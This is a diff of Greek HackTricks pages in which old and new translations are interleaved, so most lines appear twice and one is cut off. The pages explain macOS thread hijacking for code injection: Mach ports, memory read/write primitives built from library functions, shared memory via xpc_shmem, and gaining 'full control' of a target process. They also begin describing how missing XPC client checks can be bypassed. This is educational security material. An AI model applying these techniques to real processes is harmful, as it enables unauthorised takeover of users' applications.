* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Κώδικας
## Code
* [https://github.com/bazad/threadexec](https://github.com/bazad/threadexec)
* [https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36](https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36)
## 1. Απαγωγή Νήματος
## 1. Thread Hijacking
Αρχικά, η συνάρτηση **`task_threads()`** καλείται στη θύρα task για να λάβει μια λίστα νημάτων από το απομακρυσμένο task. Ένα νήμα επιλέγεται για απαγωγή. Αυτή η προσέγγιση αποκλίνει από τις συμβατικές μεθόδους εισαγωγής κώδικα, καθώς η δημιουργία ενός νέου απομακρυσμένου νήματος απαγορεύεται λόγω της νέας αντιμετώπισης που αποκλείει την `thread_create_running()`.
Αρχικά, η **`task_threads()`** συνάρτηση καλείται στην θύρα εργασίας για να αποκτήσει μια λίστα νημάτων από την απομακρυσμένη εργασία. Ένα νήμα επιλέγεται για hijacking. Αυτή η προσέγγιση αποκλίνει από τις συμβατικές μεθόδους έγχυσης κώδικα καθώς η δημιουργία ενός νέου απομακρυσμένου νήματος απαγορεύεται λόγω της νέας μείωσης που μπλοκάρει το `thread_create_running()`.
Για να ελέγξετε το νήμα, καλείται η **`thread_suspend()`**, διακόπτοντας την εκτέλεσή του.
Για να ελέγξει το νήμα, καλείται η **`thread_suspend()`**, σταματώντας την εκτέλεσή του.
Οι μόνες επιτρεπόμενες λειτουργίες στο απομακρυσμένο νήμα περιλαμβάνουν την **παύση** και την **εκκίνησή** του, την **ανάκτηση** και την **τροποποίηση** των τιμών των καταχωρητών του. Οι απομακρυσμένες κλήσεις συναρτήσεων ξεκινούν τοποθετώντας τις τιμές των καταχωρητών `x0` έως `x7` στα **ορίσματα**, ρυθμίζοντας το **`pc`** για να στοχεύει την επιθυμητή συνάρτηση και ενεργοποιώντας το νήμα. Για να διασφαλιστεί ότι το νήμα δεν θα καταρρεύσει μετά την επιστροφή, απαιτείται η ανίχνευση της επιστροφής.
Οι μόνοι επιτρεπόμενοι χειρισμοί στο απομακρυσμένο νήμα περιλαμβάνουν **σταμάτημα** και **εκκίνηση** αυτού, **ανάκτηση** και **τροποποίηση** των τιμών των καταχωρητών του. Οι απομακρυσμένες κλήσεις συναρτήσεων ξεκινούν με την ρύθμιση των καταχωρητών `x0` έως `x7` στις **παραμέτρους**, ρυθμίζοντας το **`pc`** για να στοχεύσει τη επιθυμητή συνάρτηση και ενεργοποιώντας το νήμα. Η διασφάλιση ότι το νήμα δεν θα καταρρεύσει μετά την επιστροφή απαιτεί ανίχνευση της επιστροφής.
Μια στρατηγική περιλαμβάνει την **εγγραφή ενός χειριστή εξαιρέσεων** για το απομακρυσμένο νήμα χρησιμοποιώντας την `thread_set_exception_ports()`, ρυθμίζοντας τον καταχωρητή `lr` σε μια μη έγκυρη διεύθυνση πριν από την κλήση της συνάρτησης. Αυτό προκαλεί μια εξαίρεση μετά την εκτέλεση της συνάρτησης, αποστέλλοντας ένα μήνυμα στη θύρα εξαίρεσης, επιτρέποντας την επιθεώρηση της κατάστασης του νήματος για την ανάκτηση της τιμής επιστροφής. Εναλλακτικά, όπως υιοθετήθηκε από την εκμετάλλευση triple\_fetch του Ian Beer, ο `lr` ρυθμίζεται να επαναλαμβάνεται απεριόριστα. Οι καταχωρητές του νήματος παρακολουθούνται συνεχώς μέχρι ο **`pc` να δείχνει σε αυτήν την εντολή**.
Μια στρατηγική περιλαμβάνει **την καταχώριση ενός χειριστή εξαιρέσεων** για το απομακρυσμένο νήμα χρησιμοποιώντας το `thread_set_exception_ports()`, ρυθμίζοντας τον καταχωρητή `lr` σε μια μη έγκυρη διεύθυνση πριν από την κλήση της συνάρτησης. Αυτό προκαλεί μια εξαίρεση μετά την εκτέλεση της συνάρτησης, στέλνοντας ένα μήνυμα στην θύρα εξαίρεσης, επιτρέποντας την επιθεώρηση της κατάστασης του νήματος για την ανάκτηση της τιμής επιστροφής. Εναλλακτικά, όπως υιοθετήθηκε από την εκμετάλλευση triple_fetch του Ian Beer, ο `lr` ρυθμίζεται να επαναλαμβάνεται άπειρα. Οι καταχωρητές του νήματος παρακολουθούνται συνεχώς μέχρι **το `pc` να δείχνει σε αυτή την εντολή**.
## 2. Mach θύρες για επικοινωνία
## 2. Mach ports for communication
Η επόμενη φάση περιλαμβάνει τη δημιουργία Mach θυρών για τη διευκόλυνση της επικοινωνίας με το απομακρυσμένο νήμα. Αυτές οι θύρες είναι ουσιώδεις για τη μεταφορά αυθαίρετων δικαιωμάτων αποστολής και λήψης μεταξύ των tasks.
Η επόμενη φάση περιλαμβάνει την εγκαθίδρυση Mach ports για να διευκολύνει την επικοινωνία με το απομακρυσμένο νήμα. Αυτές οι θύρες είναι καθοριστικές για τη μεταφορά αυθαίρετων δικαιωμάτων αποστολής και λήψης μεταξύ εργασιών.
Για διπλής κατεύθυνσης επικοινωνία, δημιουργούνται δύο Mach δικαιώματα λήψης: ένα στο τοπικό και ένα στο απομακρυσμένο task. Στη συνέχεια, ένα δικαίωμα αποστολής για κάθε θύρα μεταφέρεται στο αντίστοιχο task, επιτρέποντας την ανταλλαγή μηνυμάτων.
Για αμφίδρομη επικοινωνία, δημιουργούνται δύο δικαιώματα λήψης Mach: ένα στην τοπική και ένα στην απομακρυσμένη εργασία. Στη συνέχεια, ένα δικαίωμα αποστολής για κάθε θύρα μεταφέρεται στην αντίστοιχη εργασία, επιτρέποντας την ανταλλαγή μηνυμάτων.
Επικεντρώνοντας στην τοπική θύρα, το δικαίωμα λήψης κατέχεται από το τοπικό task. Η θύρα δημιουργείται με τη χρήση της `mach_port_allocate()`. Η πρόκληση έγκειται στη μεταφορά ενός δικαιώματος αποστολής σε αυτήν τη θύρα στο απομακρυσμένο task.
Εστιάζοντας στην τοπική θύρα, το δικαίωμα λήψης κατέχεται από την τοπική εργασία. Η θύρα δημιουργείται με το `mach_port_allocate()`. Η πρόκληση έγκειται στη μεταφορά ενός δικαιώματος αποστολής σε αυτή τη θύρα στην απομακρυσμένη εργασία.
Μια στρατηγική περιλαμβάνει την αξιοποίηση της `thread_set_special_port()` για να τοποθε
Μια στρατηγική περιλαμβάνει την εκμετάλλευση του `thread_set_special_port()` για να τοποθετήσει ένα δικαίωμα αποστολής στην τοπική θύρα στο `THREAD_KERNEL_PORT` του απομακρυσμένου νήματος. Στη συνέχεια, το απομακρυσμένο νήμα καθοδηγείται να καλέσει το `mach_thread_self()` για να ανακτήσει το δικαίωμα αποστολής.
Για την απομακρυσμένη θύρα, η διαδικασία είναι ουσιαστικά αντίστροφη. Το απομακρυσμένο νήμα καθοδηγείται να δημιουργήσει μια θύρα Mach μέσω του `mach_reply_port()` (καθώς το `mach_port_allocate()` δεν είναι κατάλληλο λόγω του μηχανισμού επιστροφής του). Μετά τη δημιουργία της θύρας, καλείται το `mach_port_insert_right()` στο απομακρυσμένο νήμα για να καθιερώσει ένα δικαίωμα αποστολής. Αυτό το δικαίωμα αποθηκεύεται στη μνήμη χρησιμοποιώντας το `thread_set_special_port()`. Επιστρέφοντας στην τοπική εργασία, χρησιμοποιείται το `thread_get_special_port()` στο απομακρυσμένο νήμα για να αποκτήσει ένα δικαίωμα αποστολής στη νεοδημιουργημένη θύρα Mach στην απομακρυσμένη εργασία.
Η ολοκλήρωση αυτών των βημάτων έχει ως αποτέλεσμα την εγκαθίδρυση Mach ports, θέτοντας τα θεμέλια για αμφίδρομη επικοινωνία.
## 3. Basic Memory Read/Write Primitives
Σε αυτή την ενότητα, η εστίαση είναι στη χρήση του εκτελέσιμου primitive για την εγκαθίδρυση βασικών primitives ανάγνωσης και εγγραφής μνήμης. Αυτά τα αρχικά βήματα είναι κρίσιμα για την απόκτηση περισσότερου ελέγχου πάνω στη απομακρυσμένη διαδικασία, αν και τα primitives σε αυτό το στάδιο δεν θα εξυπηρετήσουν πολλούς σκοπούς. Σύντομα, θα αναβαθμιστούν σε πιο προηγμένες εκδόσεις.
### Memory Reading and Writing Using Execute Primitive
Ο στόχος είναι να εκτελούνται αναγνώσεις και εγγραφές μνήμης χρησιμοποιώντας συγκεκριμένες συναρτήσεις. Για την ανάγνωση μνήμης, χρησιμοποιούνται συναρτήσεις που μοιάζουν με την παρακάτω δομή:
```c
uint64_t read_func(uint64_t *address) {
return *address;
}
```
Και για την εγγραφή στη μνήμη, χρησιμοποιούνται συναρτήσεις παρόμοιες με αυτήν τη δομή:
Και για την εγγραφή στη μνήμη, χρησιμοποιούνται συναρτήσεις παρόμοιες με αυτή τη δομή:
```c
void write_func(uint64_t *address, uint64_t value) {
*address = value;
@ -59,12 +72,12 @@ _write_func:
str x1, [x0]
ret
```
### Αναγνώριση Κατάλληλων Συναρτήσεων
### Identifying Suitable Functions
Μια σάρωση των κοινών βιβλιοθηκών αποκάλυψε κατάλληλους υποψήφιους για αυτές τις λειτουργίες:
A scan of common libraries revealed appropriate candidates for these operations:
1. **Ανάγνωση Μνήμης:**
Η συνάρτηση `property_getName()` από τη [βιβλιοθήκη Objective-C runtime](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) αναγνωρίζεται ως μια κατάλληλη συνάρτηση για την ανάγνωση μνήμης. Η συνάρτηση παρουσιάζεται παρακάτω:
1. **Reading Memory:**
Η συνάρτηση `property_getName()` από τη [βιβλιοθήκη χρόνου εκτέλεσης Objective-C](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) αναγνωρίζεται ως κατάλληλη συνάρτηση για την ανάγνωση μνήμης. Η συνάρτηση περιγράφεται παρακάτω:
```c
const char *property_getName(objc_property_t prop) {
return prop->name;
@ -72,97 +85,97 @@ return prop->name;
```
Αυτή η συνάρτηση λειτουργεί αποτελεσματικά όπως η `read_func` επιστρέφοντας το πρώτο πεδίο του `objc_property_t`.
2. **Εγγραφή Μνήμης:**
Η εύρεση μιας προκατασκευασμένης συνάρτησης για την εγγραφή μνήμης είναι πιο προκλητική. Ωστόσο, η συνάρτηση `_xpc_int64_set_value()` από την libxpc είναι ένας κατάλληλος υποψήφιος με την ακόλουθη αποσυναρμολόγηση:
2. **Γράφοντας Μνήμη:**
Η εύρεση μιας προ-κατασκευασμένης συνάρτησης για τη γραφή μνήμης είναι πιο δύσκολη. Ωστόσο, η συνάρτηση `_xpc_int64_set_value()` από τη libxpc είναι κατάλληλος υποψήφιος με την παρακάτω αποσυναρμολόγηση:
```c
__xpc_int64_set_value:
str x1, [x0, #0x18]
ret
```
Για να πραγματοποιήσετε μια εγγραφή 64-bit σε μια συγκεκριμένη διεύθυνση, η απομακρυσμένη κλήση δομείται ως εξής:
Για να εκτελέσετε μια εγγραφή 64-bit σε μια συγκεκριμένη διεύθυνση, η απομακρυσμένη κλήση δομείται ως εξής:
```c
_xpc_int64_set_value(address - 0x18, value)
```
Με αυτά τα πρωτογενή στοιχεία έχει δημιουργηθεί το πλαίσιο για τη δημιουργία κοινής μνήμης, σημαντική πρόοδος στον έλεγχο της απομακρυσμένης διεργασίας.
Με αυτές τις βασικές αρχές καθορισμένες, η σκηνή είναι έτοιμη για τη δημιουργία κοινής μνήμης, σηματοδοτώντας μια σημαντική πρόοδο στον έλεγχο της απομακρυσμένης διαδικασίας.
## 4. Δημιουργία Κοινής Μνήμης
## 4. Ρύθμιση Κοινής Μνήμης
Ο στόχος είναι να δημιουργηθεί κοινή μνήμη μεταξύ τοπικών και απομακρυσμένων εργασιών, απλοποιώντας τη μεταφορά δεδομένων και διευκολύνοντας την κλήση συναρτήσεων με πολλαπλά ορίσματα. Η προσέγγιση περιλαμβάνει την αξιοποίηση του `libxpc` και του αντικειμένου του `OS_xpc_shmem`, το οποίο βασίζεται σε καταχωρήσεις μνήμης Mach.
Ο στόχος είναι να καθιερωθεί κοινή μνήμη μεταξύ τοπικών και απομακρυσμένων εργασιών, απλοποιώντας τη μεταφορά δεδομένων και διευκολύνοντας την κλήση συναρτήσεων με πολλαπλά επιχειρήματα. Η προσέγγιση περιλαμβάνει την εκμετάλλευση του `libxpc` και του τύπου αντικειμένου `OS_xpc_shmem`, ο οποίος βασίζεται σε καταχωρίσεις μνήμης Mach.
### Επισκόπηση Διεργασίας:
### Επισκόπηση Διαδικασίας:
1. **Δέσμευση Μνήμης**:
- Δεσμεύστε τη μνήμη για κοινή χρήση χρησιμοποιώντας το `mach_vm_allocate()`.
- Χρησιμοποιήστε το `xpc_shmem_create()` για να δημιουργήσετε ένα αντικείμενο `OS_xpc_shmem` για την δεσμευμένη περιοχή μνήμης. Αυτή η συνάρτηση θα διαχειριστεί τη δημιουργία της καταχώρησης μνήμης Mach και θα αποθηκεύσει το δικαίωμα αποστολής Mach στη θέση `0x18` του αντικειμένου `OS_xpc_shmem`.
1. **Κατανομή Μνήμης**:
- Κατανομή της μνήμης για κοινή χρήση χρησιμοποιώντας `mach_vm_allocate()`.
- Χρησιμοποιήστε το `xpc_shmem_create()` για να δημιουργήσετε ένα αντικείμενο `OS_xpc_shmem` για την κατανεμημένη περιοχή μνήμης. Αυτή η συνάρτηση θα διαχειριστεί τη δημιουργία της καταχώρισης μνήμης Mach και θα αποθηκεύσει το δικαίωμα αποστολής Mach στη θέση `0x18` του αντικειμένου `OS_xpc_shmem`.
2. **Δημιουργία Κοινής Μνήμης στην Απομακρυσμένη Διεργασία**:
- Δεσμεύστε μνήμη για το αντικείμενο `OS_xpc_shmem` στην απομακρυσμένη διεργασία με απομακρυσμένη κλήση στο `malloc()`.
- Αντιγράψτε το περιεχόμενο του τοπικού αντικειμένου `OS_xpc_shmem` στην απομακρυσμένη διεργασία. Ωστόσο, αυτή η αρχική αντιγραφή θα έχει εσφαλμένα ονόματα καταχώρησης μνήμης Mach στη θέση `0x18`.
2. **Δημιουργία Κοινής Μνήμης στην Απομακρυσμένη Διαδικασία**:
- Κατανομή μνήμης για το αντικείμενο `OS_xpc_shmem` στην απομακρυσμένη διαδικασία με μια απομακρυσμένη κλήση στο `malloc()`.
- Αντιγραφή του περιεχομένου του τοπικού αντικειμένου `OS_xpc_shmem` στην απομακρυσμένη διαδικασία. Ωστόσο, αυτή η αρχική αντιγραφή θα έχει λανθασμένα ονόματα καταχωρίσεων μνήμης Mach στη θέση `0x18`.
3. **Διόρθωση της Καταχώρησης Μνήμης Mach**:
- Χρησιμοποιήστε τη μέθοδο `thread_set_special_port()` για να εισαγάγετε ένα δικαίωμα αποστολής για την καταχώρηση μνήμης Mach στην απομακρυσμένη εργασία.
- Διορθώστε το πεδίο της καταχώρησης μνήμης Mach στη θέση `0x18` αντικαθιστώντας το με το όνομα της απομακρυσμένης καταχώρησης μνήμης.
3. **Διόρθωση της Καταχώρισης Μνήμης Mach**:
- Χρησιμοποιήστε τη μέθοδο `thread_set_special_port()` για να εισάγετε ένα δικαίωμα αποστολής για την καταχώριση μνήμης Mach στην απομακρυσμένη εργασία.
- Διορθώστε το πεδίο καταχώρισης μνήμης Mach στη θέση `0x18` αντικαθιστώντας το με το όνομα της καταχώρισης μνήμης της απομακρυσμένης διαδικασίας.
4. **Ολοκλήρωση Δημιουργίας Κοινής Μνήμης**:
- Επαληθεύστε το αντικείμενο `OS_xpc_shmem` στην απομακρυσμένη διεργασία.
- Καθιερώστε την κοινή αντιστοίχιση μνήμης με απομακρυσμένη κλήση στο `xpc_shmem_remote()`.
4. **Ολοκλήρωση Ρύθμισης Κοινής Μνήμης**:
- Επικυρώστε το απομακρυσμένο αντικείμενο `OS_xpc_shmem`.
- Καθιερώστε τη χαρτογράφηση κοινής μνήμης με μια απομακρυσμένη κλήση στο `xpc_shmem_remote()`.
Ακολουθώντας αυτά τα βήματα, η κοινή μνήμη μεταξύ των τοπικών και απομακρυσμένων εργασιών θα δημιουργηθεί αποτελεσματικά, επιτρέποντας απλή μεταφορά δεδομένων και εκτέλεση συναρτήσεων που απαιτούν πολλά ορίσματα.
Ακολουθώντας αυτά τα βήματα, η κοινή μνήμη μεταξύ των τοπικών και απομακρυσμένων εργασιών θα ρυθμιστεί αποτελεσματικά, επιτρέποντας απλές μεταφορές δεδομένων και την εκτέλεση συναρτήσεων που απαιτούν πολλαπλά επιχειρήματα.
## Πρόσθετα Αποσπάσματα Κώδικα
## Πρόσθετα Κωδικοποιημένα Αποσπάσματα
Για τη δέσμευση μνήμης και τη δημιουργία αντικειμένου κοινής μνήμης:
Για την κατανομή μνήμης και τη δημιουργία αντικειμένου κοινής μνήμης:
```c
mach_vm_allocate();
xpc_shmem_create();
```
Για τη δημιουργία και τη διόρθωση του κοινόχρηστου αντικειμένου μνήμης στην απομακρυσμένη διεργασία:
Για τη δημιουργία και διόρθωση του αντικειμένου κοινής μνήμης στη απομακρυσμένη διαδικασία:
```c
malloc(); // for allocating memory remotely
thread_set_special_port(); // for inserting send right
```
Θυμηθείτε να χειριστείτε σωστά τις λεπτομέρειες των θυρίδων Mach και των ονομάτων εισόδου μνήμης για να εξασφαλίσετε ότι η ρύθμιση κοινής μνήμης λειτουργεί σωστά.
Θυμηθείτε να χειριστείτε σωστά τις λεπτομέρειες των Mach ports και των ονομάτων εισόδου μνήμης για να διασφαλίσετε ότι η ρύθμιση της κοινής μνήμης λειτουργεί σωστά.
## 5. Επίτευξη Πλήρους Ελέγχου
Αφού επιτύχουμε την εγκαθίδρυση κοινής μνήμης και αποκτήσουμε αυθαίρετες δυνατότητες εκτέλεσης, ουσιαστικά έχουμε αποκτήσει πλήρη έλεγχο επί της διεργασίας στόχου. Οι βασικές λειτουργίες που επιτρέπουν αυτόν τον έλεγχο είναι οι εξής:
Αφού καταφέρουμε να εγκαταστήσουμε κοινή μνήμη και να αποκτήσουμε ικανότητες αυθαίρετης εκτέλεσης, έχουμε ουσιαστικά αποκτήσει πλήρη έλεγχο της στοχευμένης διαδικασίας. Οι βασικές λειτουργίες που επιτρέπουν αυτόν τον έλεγχο είναι:
1. **Αυθαίρετες Λειτουργίες Μνήμης**:
- Εκτέλεση αυθαίρετων αναγνώσεων μνήμης καλώντας τη συνάρτηση `memcpy()` για την αντιγραφή δεδομένων από την κοινή περιοχή.
- Εκτέλεση αυθαίρετων εγγραφών μνήμης χρησιμοποιώντας τη συνάρτηση `memcpy()` για τη μεταφορά δεδομένων στην κοινή περιοχή.
- Εκτελέστε αυθαίρετες αναγνώσεις μνήμης καλώντας το `memcpy()` για να αντιγράψετε δεδομένα από την κοινή περιοχή.
- Εκτελέστε αυθαίρετες εγγραφές μνήμης χρησιμοποιώντας το `memcpy()` για να μεταφέρετε δεδομένα στην κοινή περιοχή.
2. **Χειρισμός Κλήσεων Συναρτήσεων με Πολλαπλά Ορίσματα**:
- Για συναρτήσεις που απαιτούν περισσότερα από 8 ορίσματα, ταξινομήστε τα επιπλέον ορίσματα στη στοίβα σύμφωνα με τον κανόνα κλήσης.
2. **Διαχείριση Κλήσεων Συναρτήσεων με Πολλαπλά Επιχειρήματα**:
- Για συναρτήσεις που απαιτούν περισσότερα από 8 επιχειρήματα, τοποθετήστε τα επιπλέον επιχειρήματα στη στοίβα σύμφωνα με τη σύμβαση κλήσης.
3. **Μεταφορά Θυρίδων Mach**:
- Μεταφορά θυρίδων Mach μεταξύ εργασιών μέσω μηνυμάτων Mach μέσω προηγουμένως εγκαθιδρυμένων θυρίδων.
3. **Μεταφορά Mach Port**:
- Μεταφέρετε Mach ports μεταξύ διαδικασιών μέσω Mach μηνυμάτων μέσω προηγουμένως καθορισμένων ports.
4. **Μεταφορά Περιγραφέων Αρχείων**:
- Μεταφορά περιγραφέων αρχείων μεταξύ διεργασιών χρησιμοποιώντας fileports, μια τεχνική που επισημαίνεται από τον Ian Beer στο `triple_fetch`.
4. **Μεταφορά Περιγραφέα Αρχείου**:
- Μεταφέρετε περιγραφείς αρχείων μεταξύ διαδικασιών χρησιμοποιώντας fileports, μια τεχνική που επισημαίνεται από τον Ian Beer στο `triple_fetch`.
Αυτός ο πλήρης έλεγχος ενσωματώνεται στη βιβλιοθήκη [threadexec](https://github.com/bazad/threadexec), παρέχοντας μια λεπτομερή υλοποίηση και μια φιλική προς τον χρήστη διεπαφή προγραμματισμού για την αλληλεπίδραση με τη διεργασία-θύμα.
Αυτός ο εκτενής έλεγχος είναι ενσωματωμένος στη βιβλιοθήκη [threadexec](https://github.com/bazad/threadexec), παρέχοντας μια λεπτομερή υλοποίηση και μια φιλική προς τον χρήστη API για αλληλεπίδραση με τη διαδικασία-στόχο.
## Σημαντικές Προσοχές:
## Σημαντικές Σκέψεις:
- Βεβαιωθείτε ότι χρησιμοποιείτε σωστά τη συνάρτηση `memcpy()` για τις λειτουργίες ανάγνωσης/εγγραφής μνήμης προκειμένου να διατηρηθεί η σταθερότητα του συστήματος και η ακεραιότητα των δεδομένων.
- Όταν μεταφέρετε θυρίδες Mach ή περιγραφείς αρχείων, ακολουθήστε τους κατάλληλους πρωτόκολλους και χειριστείτε τους πόρους με ευθύνη προκειμένου να αποφευχθούν διαρροές ή μη επιθυμητή πρόσβαση.
- Διασφαλίστε τη σωστή χρήση του `memcpy()` για λειτουργίες ανάγνωσης/εγγραφής μνήμης για να διατηρήσετε τη σταθερότητα του συστήματος και την ακεραιότητα των δεδομένων.
- Όταν μεταφέρετε Mach ports ή περιγραφείς αρχείων, ακολουθήστε τους σωστούς πρωτοκόλλους και χειριστείτε τους πόρους υπεύθυνα για να αποτρέψετε διαρροές ή μη προγραμματισμένη πρόσβαση.
Ακολουθώντας αυτές τις οδηγίες και χρησιμοποιώντας τη βιβλιοθήκη `threadexec`, μπορεί κανείς να διαχειριστεί και να αλληλεπιδράσει με διεργασίες σε λεπτομερές επίπεδο, επιτυγχάνοντας πλήρη έλεγχο επί της διεργασίας-στόχου.
Ακολουθώντας αυτές τις οδηγίες και χρησιμοποιώντας τη βιβλιοθήκη `threadexec`, μπορεί κανείς να διαχειριστεί και να αλληλεπιδράσει με διαδικασίες σε λεπτομερές επίπεδο, επιτυγχάνοντας πλήρη έλεγχο της στοχευμένης διαδικασίας.
## Αναφορές
* [https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/](https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετάσχετε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,48 +1,63 @@
# Έλεγχος Σύνδεσης Διεργασίας XPC στο macOS
# macOS XPC Connecting Process Check
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Έλεγχος Σύνδεσης Διεργασίας XPC
## XPC Connecting Process Check
Όταν γίνεται μια σύνδεση σε ένα XPC service, ο διακομιστής θα ελέγξει αν η σύνδεση επιτρέπεται. Αυτοί είναι οι έλεγχοι που συνήθως πραγματοποιούνται:
Όταν μια σύνδεση δημιουργείται σε μια υπηρεσία XPC, ο διακομιστής θα ελέγξει αν η σύνδεση επιτρέπεται. Αυτοί είναι οι έλεγχοι που θα εκτελέσει συνήθως:
1. Έλεγχος αν η συνδεόμενη **διεργασία έχει υπογραφεί με ένα Apple-signed πιστοποιητικό** (που δίνεται μόνο από την Apple).
* Εάν αυτό **δεν επαληθευτεί**, ένας επιτιθέμενος μπορεί να δημιουργήσει ένα **ψεύτικο πιστοποιητικό** για να ταιριάξει με οποιονδήποτε άλλο έλεγχο.
2. Έλεγχος αν η συνδεόμενη διεργασία έχει υπογραφεί με το **πιστοποιητικό του οργανισμού** (έλεγχος ταυτότητας του ομάδας).
* Εάν αυτό **δεν επαληθευτεί**, μπορεί να χρησιμοποιηθεί οποιοδήποτε πιστοποιητικό ανάπτυξης από την Apple για την υπογραφή και τη σύνδεση με την υπηρεσία.
3. Έλεγχος αν η συνδεόμενη διεργασία **περιέχει έναν κατάλληλο αναγνωριστικό πακέτου**.
* Εάν αυτό **δεν επαληθευτεί**, οποιοδήποτε εργαλείο **που έχει υπογραφεί από τον ίδιο οργανισμό** μπορεί να χρησιμοποιηθεί για την αλληλεπίδραση με την XPC υπηρεσία.
4. (4 ή 5) Έλεγχος αν η συνδεόμενη διεργασία έχει έναν **κατάλληλο αριθμό έκδοσης λογισμικού**.
* Εάν αυτό **δεν επαληθευτεί**, μπορεί να χρησιμοποιηθεί μια παλιά, ευάλωτη πελάτης που είναι ευάλωτη στην ενέργεια εισαγωγής διεργασίας για να συνδεθεί με την XPC υπηρεσία, ακόμα και με τους άλλους ελέγχους που έχουν γίνει.
